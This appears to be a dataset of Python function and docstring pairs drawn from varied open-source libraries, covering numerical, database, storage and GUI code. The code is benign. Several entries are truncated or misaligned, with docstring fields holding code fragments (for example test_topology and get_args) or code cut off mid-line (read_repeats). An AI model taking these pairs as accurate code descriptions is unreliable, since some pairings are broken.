self.databuilder.mcdata[mc].createCopy()", "nl": "Load and parse one .bb build fileReturn the data and whether parsing resulted in the file being skipped"} {"code": "def tuplize_dict(data_dict: dict[str, Any]) -> FlattenDataDict:\n tuplized_dict: FlattenDataDict = {}\n for k, value in data_dict.items():\n key_list = cast(\"list[Union[str, int]]\", k.split('__'))\n for num, key in enumerate(key_list):\n if num % 2 == 1:\n try:\n key_list[num] = int(key)\n except ValueError:\n raise df.DataError('Bad key')\n tuplized_dict[tuple(key_list)] = value\n return tuplized_dict\n\n", "nl": "Takes a dict with keys of the form 'table__0__key' and converts themto a tuple like ('table', 0, 'key').Dict should be put through parse_dict before this function, to havevalues standardized.May raise a DataError if the format of the key is incorrect."} {"code": "def build_efficientnet_backbone(cfg, input_shape):\n arch = cfg.MODEL.EFFICIENTNET.NAME\n features_indices = cfg.MODEL.EFFICIENTNET.FEATURE_INDICES\n _out_features = cfg.MODEL.EFFICIENTNET.OUT_FEATURES\n width_mult, depth_mult, _, dropout_rate = params[arch]\n backbone = EfficientNet(width_mult, depth_mult, dropout_rate,\n num_classes=0, features_indices=features_indices)\n backbone._out_features = _out_features\n return backbone\n\n@BACKBONE_REGISTRY.register()", "nl": "Create a EfficientNet instance from config.Returns:ResNet: a :class:`ResNet` instance."} {"code": "def __contains__(self, item):\n from .Movie import Movie\n from .Person import Person\n if isinstance(item, Person):\n for m in flatten(self.data, yieldDictKeys=True, scalar=Movie):\n if item.isSame(m.currentRole):\n return True\n elif isinstance(item, Movie):\n for m in flatten(self.data, yieldDictKeys=True, scalar=Movie):\n if item.isSame(m):\n return True\n elif isinstance(item, str):\n return item in self.data\n return False\n", "nl": "Return true if this Character was portrayed in the given Movieor it was impersonated by the given Person."} {"code": "def poly2leg(pol):\n [pol] = pu.as_series([pol])\n deg = len(pol) - 1\n res = 0\n for i in range(deg, -1, -1):\n res = legadd(legmulx(res), pol[i])\n return res\n\n", "nl": "Convert a polynomial to a Legendre series.Convert an array representing the coefficients of a polynomial (relativeto the \"standard\" basis) ordered from lowest degree to highest, to anarray of the coefficients of the equivalent Legendre series, orderedfrom lowest to highest degree.Parameters----------pol : array_like1-D array containing the polynomial coefficientsReturns-------c : ndarray1-D array containing the coefficients of the equivalent Legendreseries.See Also--------leg2polyNotes-----The easy way to do conversions between polynomial basis setsis to use the convert method of a class instance.Examples-------->>> from numpy import polynomial as P>>> p = P.Polynomial(np.arange(4))>>> pPolynomial([0., 1., 2., 3.], domain=[-1, 1], window=[-1, 1])>>> c = P.Legendre(P.legendre.poly2leg(p.coef))>>> cLegendre([ 1. , 3.25, 1. , 0.75], domain=[-1, 1], window=[-1, 1]) # may vary"} {"code": "def outside(self,region):\n fs = FeatureSet()\n for f in self:\n if(f.isNotContainedWithin(region)):\n fs.append(f)\n return fs\n", "nl": "**SUMMARY**Return only the features outside the region. where region can be a bounding box,bounding circle, a list of tuples in a closed polygon, or any other featutres.**PARAMETERS*** *region** A bounding box - of the form (x,y,w,h) where x,y is the upper left corner* A bounding circle of the form (x,y,r)* A list of x,y tuples defining a closed polygon e.g. ((x,y),(x,y),....)* Any two dimensional feature (e.g. blobs, circle ...)**RETURNS**Returns a featureset of features that are outside the region.**EXAMPLE**>>> img = Image(\"Lenna\")>>> blobs = img.findBlobs()>>> b = blobs[-1]>>> lines = img.findLines()>>> outside = lines.outside(b)**NOTE**This currently performs a bounding box test, not a full polygon test for speed."} {"code": "def test_max_run_middle():\n state = np.array([1, 1, 1, 1, 0, 1, 0, 2, 1, 1, 1, 1, 1, 4, 6, 1, 1])\n assert max_run(1, state) == 5\n\n @staticmethod", "nl": "Test max_run function for case where run is in the middle of thestate"} {"code": "def DrawCommonElements(self, dc, buttons=None):\n width, height = self.GetSize()\n\n dc.SetPen(HIGHLIGHT_DROP_PEN)\n dc.SetBrush(HIGHLIGHT_DROP_BRUSH)\n\n if self.Highlight == HIGHLIGHT_BEFORE:\n dc.DrawLine(0, 1, width - 1, 1)\n\n elif self.Highlight == HIGHLIGHT_AFTER:\n dc.DrawLine(0, height - 1, width - 1, height - 1)\n", "nl": "Function that draw common graphics for every Viewers@param dc: wx.DC object corresponding to Device context where drawingcommon graphics@param buttons: List of buttons to draw if different from default(default None)"} {"code": "def set_action_state(self, name, value):\n self.lookup_action(name).change_state(GLib.Variant(builder.Builder._glib_type_strings[type(value)], value))\n\n", "nl": " Parse an action name and set its state wrapped in a :class:`~GLib.Variant`.Args:name (`str`): the name of the stateful actionvalue (`str`, `int`, `bool` or `float`): the value to set."} {"code": "def set_continue(self):\n self._set_stopinfo(self.botframe, None, -1)\n if not self.breaks:\n sys.settrace(None)\n frame = sys._getframe().f_back\n while frame and frame is not self.botframe:\n del frame.f_trace\n frame = frame.f_back\n", "nl": "Stop only at breakpoints or when finished.If there are no breakpoints, set the system trace function to None."} {"code": "def test_autonet_overrides(dictname, data):\n scen = pysipp.scenario(**{dictname: data})\n scen = scen.from_agents()\n if \"client\" in dictname:\n agents = scen.clients\n elif \"server\" in dictname:\n agents = scen.servers\n else:\n agents = scen.agents\n\n for key, val in data.items():\n for ua in agents.values():\n assert getattr(ua, key) == val", "nl": "Ensure the auto-networking plugin doesn't override default or agentsettings applied by client code."} {"code": "def get_vcs_settings():\n", "nl": "Returns list of dictionarieseach dict. represents settings for VCS"} {"code": "def get_max_solar_flux(self, latitude, year, month, day):\n\n (fEot, fR0r, tDeclsc) = self.equation_of_time(\n year, month, day, latitude)\n fSF = (tDeclsc[0] + tDeclsc[1]) * fR0r\n\n if fSF < 0:\n fCoeff = 0\n else:\n fCoeff = -1.56e-12 * fSF**4 + 5.972e-9 * fSF**3 -\\\n 8.364e-6 * fSF**2 + 5.183e-3 * fSF - 0.435\n\n fSFT = fSF * fCoeff\n\n if fSFT < 0:\n fSFT = 0\n\n return fSFT\n", "nl": "Compute the maximal solar flux to reach the ground for this date andlatitude.Originaly comes from Environment Canada weather forecast model.Information was of the public domain before release by EnvironmentCanada Output is in W/M^2."} {"code": "def transform(self, col_df: dd.Series) -> dd.Series:\n\n result = col_df.map(self.compute_val)\n return result\n", "nl": "Transform the provided data column with the extracted min value and max value.Parameters----------col_dfProvided data column."} {"code": "def within_box(self, corner1, corner2):\n return QueryExpression({\n self : {'$within' : {\n '$box' : [corner1, corner2],\n }}\n })", "nl": "Adapted from the Mongo docs::session.query(Places).filter(Places.loc.within_box(cornerA, cornerB)"} {"code": "def evalcontextfunction(f):\n f.evalcontextfunction = True\n return f\n\n", "nl": "This decorator can be used to mark a function or method as an evalcontext callable. This is similar to the :func:`contextfunction`but instead of passing the context, an evaluation context object ispassed. For more information about the eval context, see:ref:`eval-context`... versionadded:: 2.4"} {"code": "def intersect_all(self, *q):\n return self._from_selectable(\n expression.intersect_all(*([self] + list(q)))\n )\n", "nl": "Produce an INTERSECT ALL of this Query against one or more queries.Works the same way as :meth:`~sqlalchemy.orm.query.Query.union`. Seethat method for usage examples."} {"code": "def cancel_upload(self):\n self.bucket.cancel_multipart_upload(self.key_name, self.id)\n\n", "nl": "Cancels a MultiPart Upload operation. The storage consumed byany previously uploaded parts will be freed. However, if anypart uploads are currently in progress, those part uploadsmight or might not succeed. As a result, it might be necessaryto abort a given multipart upload multiple times in order tocompletely free all storage consumed by all parts."} {"code": "def hist_prev(self, *args):\n if self.hist_pos == 0:\n return None\n\n self.hist_pos -= 1\n return self.history[self.hist_pos]\n\n", "nl": " Switch to the page we viewed before."} {"code": "def resnet18(pretrained=False, **kwargs):\n model = ResNet(BasicBlock, [2, 2, 2, 2], **kwargs)\n if pretrained:\n pretrained_dict = model_zoo.load_url(model_urls[\"resnet18\"])\n\n model_dict = model.state_dict()\n pretrained_dict = {k: v for k, v in pretrained_dict.items() if k in model_dict}\n model_dict.update(pretrained_dict)\n model.load_state_dict(model_dict)\n return model\n\n", "nl": "Constructs a ResNet-18 model.Args:pretrained (bool): If True, returns a model pre-trained on ImageNet"} {"code": "def set_capability(self, name, value):\n Creates a capabilities with all the options that have been set and\n\n returns a dictionary with everything\n \"\"\"", "nl": "Sets a capability.self._caps[name] = valuedef to_capabilities(self):"} {"code": "def read_repeats(self, gtf_file: str, tolerance: int=5) -> Dict[str, List[vcy.Feature]]:\n\n logging.debug(f'Reading {gtf_file}, the file will be sorted in memory')\n\n repeat_ivls_list: List[vcy.Feature] = []\n\n gtf_lines = [line for line in open(gtf_file) if not line.startswith('\n", "nl": "Read repeats and merge close ones into highly repetitive areasArguments---------gtf_file: strfile to readtolerance: int, default=5if two repeats intervals to be masked are found closer than tolerance bases from each other they are fused in one bigger masked interval.Notice that in the downstream analysis only reads that are fall inside mask intervals are discardedReturns-------mask_ivls_by_chromstrand: Dict[str, List[vcy.Feature]]A dictionary key: chromosome+strand value: list of features (repeat intervals)(The reference is returned but an internal attribure self.self.masked_by_chrm_strand is kept)"} {"code": "def test_paintScheduling(self):\n paints = []\n scheduled = []\n root = TopWindow(lambda: paints.append(None), scheduled.append)\n\n self.assertEqual(paints, [])\n self.assertEqual(scheduled, [])\n\n root.repaint()\n self.assertEqual(paints, [])\n self.assertEqual(len(scheduled), 1)\n\n root.repaint()\n self.assertEqual(paints, [])\n self.assertEqual(len(scheduled), 1)\n\n scheduled.pop()()\n self.assertEqual(len(paints), 1)\n self.assertEqual(scheduled, [])\n\n root.repaint()\n self.assertEqual(len(paints), 1)\n self.assertEqual(len(scheduled), 1)\n\n\n\nclass ScrolledAreaTests(TestCase):\n \"\"\"", "nl": "Verify that L{TopWindow.repaint} schedules an actual paint to occurusing the scheduling object passed to its initializer."} {"code": "def test_topology(self):\n Test reading a gaussian input.\n \"\"\"", "nl": "Check for the correct number of bonds in a simple molecule# print(len(self.molecule.bonds))# self.logger.debug(\"\\nTrying to read alanine dipeptide conformation... \")assert len(self.molecule.bonds) == 12, \"Incorrect number of bonds for water hexamer structure\"assert len(self.molecule.molecules) == 6, \"Incorrect number of molecules for water hexamer structure\"def test_convert_qcout(self, localizer):# Test a variety of output formats# Q-Chem input filefmt = 'qcin'print(\"Testing reading/writing of %s format for water hexamer system\" % fmt)outfnm = \"out.%s\" % fmtself.molecule.write(outfnm)M_test = geometric.molecule.Molecule(outfnm)assert np.allclose(self.molecule.xyzs[0], M_test.xyzs[0])assert M_test.charge == self.molecule.chargeassert M_test.mult == self.molecule.multassert M_test.qcrems == self.molecule.qcrems# ForceBalance qdata filefmt = 'qdata'print(\"Testing reading/writing of %s format for water hexamer system\" % fmt)outfnm = \"out.%s\" % fmtself.molecule.write(outfnm)M_test = geometric.molecule.Molecule(outfnm)assert np.allclose(self.molecule.xyzs[0], M_test.xyzs[0])assert np.allclose(self.molecule.qm_energies, M_test.qm_energies)assert np.allclose(self.molecule.qm_grads[0], M_test.qm_grads[0])def test_rings(localizer):ring_size_data = {'tetrahedrane.xyz': [3, 3, 3, 3],'cholesterol.xyz' : [6, 6, 6, 5],'bicyclo222octane.xyz' : [6, 6, 6],'adamantane.xyz' : [6, 6, 6, 6],'cubane.xyz' : [4, 4, 4, 4, 4, 4],'coronene.xyz' : [6, 6, 6, 6, 6, 6, 6],'porphin.xyz' : [5, 16, 5, 5, 5],'fenestradiene.xyz' : [6, 4, 5, 4, 6, 5, 6, 6, 4, 5, 4, 6, 5, 6],'vancomycin.pdb' : [16, 16, 6, 16, 16, 6, 12, 6, 6, 6, 6, 6],'c60.xyz' : [5, 6, 6, 6, 5, 6, 5, 6, 6, 5, 6, 6, 5, 6, 6, 5, 5, 6, 6, 5, 6, 6, 6, 5, 5, 6, 5, 6, 6, 6, 6, 5]}for fnm in ring_size_data.keys():M = geometric.molecule.Molecule(os.path.join(datad, fnm))ring_sizes = [len(i) for i in M.find_rings(max_size=20)]# Check that the number of rings is correctassert len(ring_sizes) == len(ring_size_data[fnm])# Check that ring sizes are correct and in the expected orderassert ring_sizes == ring_size_data[fnm]def test_rotate_bond(localizer):M = geometric.molecule.Molecule(os.path.join(datad, 'neu5ac.pdb'))M1, success1 = M.rotate_check_clash(0, (14, 16, 18, 20), printLevel=1)M2, success2 = M.rotate_check_clash(0, (14, 16, 18, 20), thresh_hyd=0.8, thresh_hvy=1.2)assert success1 == Falseassert success2 == Truedef test_gaussian_input_single():"} {"code": "def negative(data, **kwargs):\n return Component(\n \"Negative\",\n arguments={\n 'data': Component.of(data)\n },\n options={\n\n },\n constraints=kwargs)\n\n", "nl": "Negative Component:param data: Atomic type must be numeric.:param kwargs: data bounds of the form [argument]_[bound]=[lower | upper | categories | ...]:return:"} {"code": "def _init(self, reactor, endpointFactory, pool):\n _AgentBase.__init__(self, reactor, pool)\n self._endpointFactory = endpointFactory\n\n", "nl": "Initialize a new L{Agent}.@param reactor: A provider of relevant reactor interfaces, at a minimumL{twisted.internet.interfaces.IReactorTime}.@param endpointFactory: Used to construct endpoints which theHTTP client will connect with.@type endpointFactory: an L{IAgentEndpointFactory} provider.@param pool: An L{HTTPConnectionPool} instance, or L{None}, in whichcase a non-persistent L{HTTPConnectionPool} instance will becreated.@type pool: L{HTTPConnectionPool}@return: A new L{Agent}."} {"code": "def movemessage(self, n, tofolder, ton):\n path = self.getmessagefilename(n)\n f = open(path)\n f.close()\n del f\n topath = tofolder.getmessagefilename(ton)\n backuptopath = tofolder.getmessagefilename(',%d' % ton)\n try:\n os.rename(topath, backuptopath)\n except os.error:\n pass\n try:\n os.rename(path, topath)\n except os.error:\n ok = 0\n try:\n tofolder.setlast(None)\n shutil.copy2(path, topath)\n ok = 1\n finally:\n if not ok:\n try:\n os.unlink(topath)\n except os.error:\n pass\n os.unlink(path)\n self.removefromallsequences([n])\n", "nl": "Move one message over a specific destination message,which may or may not already exist."} {"code": "def pad_batch(encoded_seqs):\n seq_lengths = torch.tensor([len(seq) for seq in encoded_seqs], dtype=torch.int64)\n return (tnnur.pad_sequence(encoded_seqs, batch_first=True).cuda(), seq_lengths)", "nl": "Pads a batch.:param encoded_seqs: A list of encoded sequences.:return: A tensor with the sequences correctly padded."} {"code": "def test_fails_null_index(driver, function_store):\n df = pd.DataFrame(\n {\n \"x\": [0, 1, 2, 3],\n \"p\": [0, 0, 1, 1],\n \"v\": [10, 11, 12, 13],\n \"i1\": [0, 1, 2, np.nan],\n }\n )\n cube = Cube(\n dimension_columns=[\"x\"],\n partition_columns=[\"p\"],\n uuid_prefix=\"cube\",\n index_columns=[\"i1\"],\n )\n with pytest.raises(ValueError) as exc:\n driver(data=df, cube=cube, store=function_store)\n assert 'Found NULL-values in index column \"i1\"' in str(exc.value)\n assert not DatasetMetadata.exists(cube.ktk_dataset_uuid(\"seed\"), function_store())\n\n", "nl": "Since we do not allow NULL values in queries, it should be banned from index columns in the first place."} {"code": "def __init__(self, xml_root):\n names = [DESC, DATA_IMAGE, STATISTICS]\n xml_nodes = self.node_dict(names, xml_root)\n\n self._dust_nodes = [StringNode(xml_nodes[DESC], \"temp desc\", 100),\n StringNode(xml_nodes[DATA_IMAGE],\n \"temp image\", 255)]\n\n self._stats = StatsSection(xml_nodes[STATISTICS], \"temp\")\n\n self.create_columns()\n", "nl": "Parameters----------xml_root : `xml.etree.ElementTree`The xml tree containing the data for this section"} {"code": "def testNotRunning(self):\n self.framework.stop()\n\n self.assertRaises(ValueError, self.ipopo.instantiate,\n 'dummy', 'dummy', {})\n", "nl": "Checks that the instantiation is refused when iPOPO is stopped"} {"code": "def set_on_enter_listener(self, callback, *userdata):\n self.attributes[self.EVENT_ONKEYDOWN] = \"\"\"\n self.eventManager.register_listener(self.EVENT_ONENTER, callback, *userdata)\n\n\nclass Label(Widget, _MixinTextualWidget):\n \"\"\"Non editable text label widget. Set its content by means of set_text function, and retrieve its content with the\n @decorate_constructor_parameter_types([str])", "nl": "Registers the listener for the Widget.onenter event.Note: the listener prototype have to be in the form on_textinput_enter(self, widget, new_value) wherenew_value is the new text content of the TextInput.Note: Overwrites Widget.onkeydown.Args:callback (function): Callback function pointer."} {"code": "def compute_generator_condition_number(sess, gan):\n shape = gan.fake_images.get_shape().as_list()\n flat_generator_output = tf.reshape(\n gan.fake_images, [gan.batch_size, np.prod(shape[1:])])\n tf_jacobian = compute_jacobian(\n xs=gan.z, fx=flat_generator_output)\n z_sample = gan.z_generator(gan.batch_size, gan.z_dim)\n np_jacobian = sess.run(tf_jacobian, feed_dict={gan.z: z_sample})\n result_dict = analyze_jacobian(np_jacobian)\n return result_dict[\"metric_tensor\"][\"log_condition_number\"]\n\n", "nl": "Computes the generator condition number.Computes the Jacobian of the generator in session, then postprocesses to getthe condition number.Args:sess: tf.Session object.gan: AbstractGAN object, that is already present in the current tf.Graph.Returns:A list of length gan.batch_size. Each element is the condition numbercomputed at a single z sample within a minibatch."} {"code": "def spawnve(mode, file, args, env):\n return _spawnvef(mode, file, args, env, execve)\n\n", "nl": "spawnve(mode, file, args, env) -> integerExecute file with arguments from args in a subprocess with thespecified environment.If mode == P_NOWAIT return the pid of the process.If mode == P_WAIT return the process's exit code if it exits normally;otherwise return -SIG, where SIG is the signal that killed it. "} {"code": "def is_byte_range_valid(start, stop, length):\n if (start is None) != (stop is None):\n return False\n elif start is None:\n return length is None or length >= 0\n elif length is None:\n return 0 <= start < stop\n elif start >= stop:\n return False\n return 0 <= start < length\n\n\nfrom .datastructures import Accept\nfrom .datastructures import Authorization\nfrom .datastructures import ContentRange\nfrom .datastructures import ETags\nfrom .datastructures import HeaderSet\nfrom .datastructures import IfRange\nfrom .datastructures import Range\nfrom .datastructures import RequestCacheControl\nfrom .datastructures import TypeConversionDict\nfrom .datastructures import WWWAuthenticate\nfrom .urls import iri_to_uri\n\nfrom .datastructures import CharsetAccept as _CharsetAccept\nfrom .datastructures import Headers as _Headers\nfrom .datastructures import LanguageAccept as _LanguageAccept\nfrom .datastructures import MIMEAccept as _MIMEAccept\n\n\nclass MIMEAccept(_MIMEAccept):", "nl": "Checks if a given byte content range is valid for the given length... versionadded:: 0.7"} {"code": "def __import_r__(self, variable, reason):\n global NullType\n if NullType is None:\n from .null_type import NullType\n if variable.owner and variable.owner not in self.apply_nodes:\n self.__import__(variable.owner, reason=reason)\n if (variable.owner is None and\n not isinstance(variable, graph.Constant) and\n variable not in self.inputs):\n if isinstance(variable.type, NullType):\n raise TypeError(\"Computation graph contains a NaN. \" +\n variable.type.why_null)\n raise MissingInputError(\"Undeclared input\", variable)\n if not getattr(variable, 'fgraph', None) is self:\n self.__setup_r__(variable)\n self.variables.add(variable)\n", "nl": "Import variables to this FunctionGraph and also their apply_node,if those nodes are not in this graph."} {"code": "def create_L_pattern(self, l_width=1):\n l_pat = -1 * np.ones((self.pattern_length, self.pattern_width), np.int)\n for i in range(l_width):\n l_pat[-i - 1, :] = np.ones(self.pattern_length, np.int)\n l_pat[:, i] = np.ones(self.pattern_length, np.int)\n return l_pat\n", "nl": "creates a pattern with column 0 (left) and row n (bottom) set to +1.Increase l_width to set more columns and rows (default is 1)Args:l_width (int): nr of rows and columns to setReturns:an L shaped pattern."} {"code": "def _setTreeChanged(self, theState):\n self._treeChanged = theState\n if theState:\n self.theProject.setProjectChanged(True)\n return\n", "nl": "Set the changed flag to theState, and if being set to True,propagate that state change to the parent NWProject class."} {"code": "def line_writer(od, newline=True):\n print_tuples = []\n for k, v in iteritems(od):\n if type(v) == str:\n print_tuples.append('{0} {1}'.format(k, v))\n else:\n print_tuples.append('{0}={1:.4f}'.format(k, v))\n msg = \"%s\\n\" if newline else \"\\r%s\"\n sys.stdout.write(msg % '\\t'.join(print_tuples))\n sys.stdout.flush()\n\n\n\n", "nl": "Takes in an OrderedDict of (key, value) pairsand prints tab-separated with carriage return."} {"code": "def _get_encoding(self):\n\n headers = self.raw.info()\n encoding = None\n\n if headers.getparam('charset'):\n encoding = headers.getparam('charset')\n\n for param in headers.getplist():\n if param.startswith('charset='):\n encoding = param[8:]\n break\n\n if self.mimetype == 'text/html':\n m = re.search(\"\"\"\"\"\",\n self.content)\n if m:\n encoding = m.group(1)\n", "nl": "Get encoding from HTTP headers or content.:returns: encoding or `None`:rtype: ``unicode`` or ``None``"} {"code": "def eventSubscriptions(self):\n\t\treturn []\n", "nl": "Override this method to subscribe to additional events by returning an array of (event, callback) tuples.Events that are already subscribed:* PrintStarted - self.onPrintStarted* PrintResumed - self.onPrintResumed* PrintFailed - self.onPrintDone* PrintDone - self.onPrintDone"} {"code": "def to_tensor(data):\n if isinstance(data, torch.Tensor):\n return data\n elif isinstance(data, np.ndarray):\n return torch.from_numpy(data)\n elif isinstance(data, Sequence) and not mmcv.is_str(data):\n return torch.tensor(data)\n elif isinstance(data, int):\n return torch.LongTensor([data])\n elif isinstance(data, float):\n return torch.FloatTensor([data])\n else:\n raise TypeError('type {} cannot be converted to tensor.'.format(\n type(data)))\n\n\n@PIPELINES.register_module\nclass ToTensor(object):\n", "nl": "Convert objects of various python types to :obj:`torch.Tensor`.Supported types are: :class:`numpy.ndarray`, :class:`torch.Tensor`,:class:`Sequence`, :class:`int` and :class:`float`."} {"code": "def commit(self):\n assert self.record\n result = self.files_written, self.dirs_created\n self._init_record()\n return result\n", "nl": "Commit recorded changes, turn off recording, returnchanges."} {"code": "def st_oid(draw, max_value=2**512, max_size=50):\n first = draw(st.integers(min_value=0, max_value=2))\n if first < 2:\n second = draw(st.integers(min_value=0, max_value=39))\n else:\n second = draw(st.integers(min_value=0, max_value=max_value))\n rest = draw(\n st.lists(\n st.integers(min_value=0, max_value=max_value), max_size=max_size\n )\n )\n return (first, second) + tuple(rest)\n\n\n@given(st_oid())", "nl": "Hypothesis strategy that returns valid OBJECT IDENTIFIERs as tuples:param max_value: maximum value of any single sub-identifier:param max_size: maximum length of the generated OID"} {"code": "def create_upsert_mysql(table, record):\n insert_stmt = mysql_insert(table).values(record)\n return insert_stmt.on_duplicate_key_update(**record)\n\n", "nl": "Creates a statement for inserting the passed record to the passedtable; if the record already exists, the existing record will be updated.This uses MySQL `on_duplicate_key_update` (hence upsert), and thatwhy the returned statement is valid only for MySQL tables. Refer to this`SqlAlchemy MySQL documentation`_ for more information.The created statement is not executed by this function.Args:table (sqlalchemy.sql.schema.Table): database table metadata.record (dict): a data record, corresponding to one row, to be inserted.Returns:sqlalchemy.sql.dml.Insert: a statement for inserting the passedrecord to the specified table... _SqlAlchemy MySQL documentation:https://docs.sqlalchemy.org/en/latest/dialects/mysql.html#mysql-inser-on-duplicate-key-update"} {"code": "def ulps_check(expected, got, ulps=20):\n\n ulps_error = to_ulps(got) - to_ulps(expected)\n if abs(ulps_error) <= ulps:\n return None\n return \"error = {} ulps; permitted error = {} ulps\".format(ulps_error,\n ulps)\n", "nl": "Given non-NaN floats `expected` and `got`,check that they're equal to within the given number of ulps.Returns None on success and an error message on failure."} {"code": "def add_exposure_stats(self, period_stats):\n data = dict(\n long_exposure=period_stats['long_exposure'],\n quote_currency=period_stats['ending_cash']\n )\n log.debug('adding exposure stats: {}'.format(data))\n\n df = pd.DataFrame(\n data=[data],\n index=[period_stats['period_close']],\n )\n self.exposure_stats = pd.concat([self.exposure_stats, df])\n\n save_algo_df(\n self.algo_namespace,\n 'exposure_stats_{}'.format(self.mode_name),\n self.exposure_stats\n )\n", "nl": "Save exposure stats.Parameters----------period_statsReturns-------"} {"code": "def __call__(self, **kwargs):\n data = dict(self)\n data.update(kwargs)\n\n for key, val in iteritems_(data):\n if key not in list(QUERY_ARG_TYPES.keys()):\n raise CloudantArgumentError(129, key)\n if not isinstance(val, QUERY_ARG_TYPES[key]):\n raise CloudantArgumentError(130, key, QUERY_ARG_TYPES[key])\n if data.get('selector', None) is None or data.get('selector') == {}:\n raise CloudantArgumentError(131)\n\n headers = {'Content-Type': 'application/json'}\n resp = self._r_session.post(\n self.url,\n headers=headers,\n data=json.dumps(data, cls=self._encoder)\n )\n resp.raise_for_status()\n return response_to_json_dict(resp)\n\n @contextlib.contextmanager", "nl": "Makes the Query object callable and retrieves the raw JSON contentfrom the remote database based on the current Query definition,and any additional kwargs provided as query parameters.For example:.. code-block:: python# Construct a Queryquery = Query(database, selector={'_id': {'$gt': 0}})# Use query as a callable limiting results to 100,# skipping the first 100.for doc in query(limit=100, skip=100)['docs']:# Process query data (in JSON format).Note: Rather than using the Query callable directly, if you wish toretrieve query results in raw JSON format use the provided database APIof :func:`~cloudant.database.CouchDatabase.get_query_result`and set ``raw_result=True`` instead.:param str bookmark: A string that enables you to specify which page ofresults you require.:param list fields: A list of fields to be returned by the query.:param int limit: Maximum number of results returned.:param int r: Read quorum needed for the result. Each document is readfrom at least 'r' number of replicas before it is returned in theresults.:param dict selector: Dictionary object describing criteria used toselect documents.:param int skip: Skip the first 'n' results, where 'n' is the valuespecified.:param list sort: A list of fields to sort by. Optionally the list cancontain elements that are single member dictionary structures thatspecify sort direction. For example``sort=['name', {'age': 'desc'}]`` means to sort the query resultsby the \"name\" field in ascending order and the \"age\" field indescending order.:param str use_index: Identifies a specific index for the query to runagainst, rather than using the Cloudant Query algorithm which findswhat it believes to be the best index.:returns: Query result data in JSON format"} {"code": "def items(self):\n return iter(self.items())\n", "nl": "Return a list of items.result = [(key, self._mapping[key]) for key in list(self._queue)]result.reverse()return resultdef iteritems(self):Iterate over all items."} {"code": "def get_args(profile_name):\n return f\"{bundle_dir}\\\\assets\\\\systray\\\\{name}.ico\"\n\n", "nl": "Get defaults for launching VCXSRV with a given profilereturn profile_dict[profile_name]def open_about(systray):try:subprocess.Popen(bundle_dir + \"\\\\GWSL.exe --about\")except:logger.exception(\"Exception occurred\")def open_dashboard(*args):try:subprocess.Popen(bundle_dir + \"\\\\GWSL.exe\")except:logger.exception(\"Exception occurred\")def shutdown(systray):global exiterexiter = Truedef icon(name):Returns path of named icon"} {"code": "def test_slice(self, dataset_patched):\n n, m = self.patch_feature_vectors.shape\n (p,) = self.patch_adjacency_matrices.shape\n q = len(self.patch_orbits)\n\n assert n == dataset_patched.n_vectors\n assert m == dataset_patched.n_features\n assert p == len(dataset_patched.adjs)\n assert q == len(dataset_patched.unit_data)\n\n\n@pytest.mark.parametrize(\"datasets\", WATER_DATASETS_LIST)\nclass TestWaterDatasets:\n \"\"\"Tests for the ``Water`` class\"\"\"", "nl": "Test if dataset class allows correct slicing over itselfa1 = np.array([i for i in dataset_patched[(1, 3)]])a2 = np.array([self.patch_feature_vectors[1], self.patch_feature_vectors[2]])a3 = np.array(dataset_patched[slice(1, 3, 1)])a4 = np.array([self.patch_feature_vectors[1], self.patch_feature_vectors[2]])assert (a1 == a2).all()assert (a3 == a4).all()def test_data_dim_correct(self, dataset_patched):Test if feature, unit and matrix data of dataset have correct dimensions."} {"code": "def __str__(self) -> str:\n return f\"address: {self.channel_address}, type: {self.device.device_type}, name: {self.entity_name_data.full_name}\"\n\n\nclass BaseParameterEntity(Generic[ParameterT], BaseEntity):\n \"\"\"\n", "nl": "Provide some useful information."} {"code": "def touch_begann(self,touch):\n\t\tself.curridx=-1\n\t\tcurrpt=(touch.location.x,touch.location.y)\n\t\tfor i,p in enumerate(self.pts):\n\t\t\tif abs(ui.Point(*p)-ui.Point(*currpt))<20:\n\t\t\t\tself.curridx=i\n\t\tif self.curridx==-1:\n\t\t\tself.pts.append(currpt)\n\t\tself.set_needs_display()", "nl": "when starting a touch, fiest check if there are any points very near by. if so, set currpt to that to allow dragging prsvious points,if not, add a new point."} {"code": "def test_send_email_subject_setting(self):\n user, other_user = UserFactory.create_batch(2)\n data = {'email': other_user.email}\n request = self.create_request('post', user=user, data=data)\n view = self.view_class.as_view()\n response = view(request)\n\n self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)\n", "nl": "Assert the subject is affected by the DUM_VALIDATE_EMAIL_SUBJECT setting.user = UserFactory.create()request = self.create_request('post', auth=False, data={'email': user.email})view = self.view_class.as_view()view(request)self.assertEqual(len(mail.outbox), 1)email = mail.outbox[0]self.assertEqual(email.subject, 'overridden subject')def test_send_email_other_user(self):Assert a user can not request a confirmation email for another user."} {"code": "def checkPossibility(self, nums):\n broken_num = 0\n for i in range(len(nums) - 1):\n if (nums[i] > nums[i + 1]):\n broken_num += 1\n if broken_num >= 2:\n return False\n if (i - 1 < 0 or nums[i - 1] <= nums[i + 1]):\n nums[i] = nums[i + 1]\n else:\n nums[i + 1] = nums[i]\n return True", "nl": ":type nums: List[int]:rtype: bool"} {"code": "def init_rnn_cell(rnn, init_range):\n for m in cont:\n if hasattr(m, 'weight'):\n m.weight.data.uniform_(-init_range, init_range)\n if hasattr(m, 'bias'):\n m.bias.data.fill_(0)\n\n\nclass CudaModule(nn.Module):\n \"\"\"A helper to run a module on a particular device using CUDA.\"\"\"", "nl": "Initializes RNNCell uniformly.init_rnn(rnn, init_range, ['weight_ih', 'weight_hh'], ['bias_ih', 'bias_hh'])def init_cont(cont, init_range):Initializes a container uniformly."} {"code": "def __getitem__(self, index):\n return self.operate(getitem, index)\n", "nl": "Implement the [] operator.This can be used by some database-specific typessuch as PostgreSQL ARRAY and HSTORE."} {"code": "def _next_iter_line(self, row_num):\n\n try:\n return next(self.data)\n except csv.Error as e:\n if self.warn_bad_lines or self.error_bad_lines:\n msg = str(e)\n\n if 'NULL byte' in msg:\n msg = ('NULL byte detected. This byte '\n 'cannot be processed in Python\\'s '\n 'native csv library at the moment, '\n 'so please pass in engine=\\'c\\' instead')\n\n if self.skipfooter > 0:\n reason = ('Error could possibly be due to '\n 'parsing errors in the skipped footer rows '\n '(the skipfooter keyword is only applied '\n 'after Python\\'s csv library has parsed '\n 'all rows).')\n msg += '. ' + reason\n\n self._alert_malformed(msg, row_num)\n return None\n", "nl": "Wrapper around iterating through `self.data` (CSV source).When a CSV error is raised, we check for specificerror messages that allow us to customize theerror message displayed to the user.Parameters----------row_num : The row number of the line being parsed."} {"code": "def __init__(self, connection, name, option, send_yes, send_no, ack_yes, ack_no, initial_state, 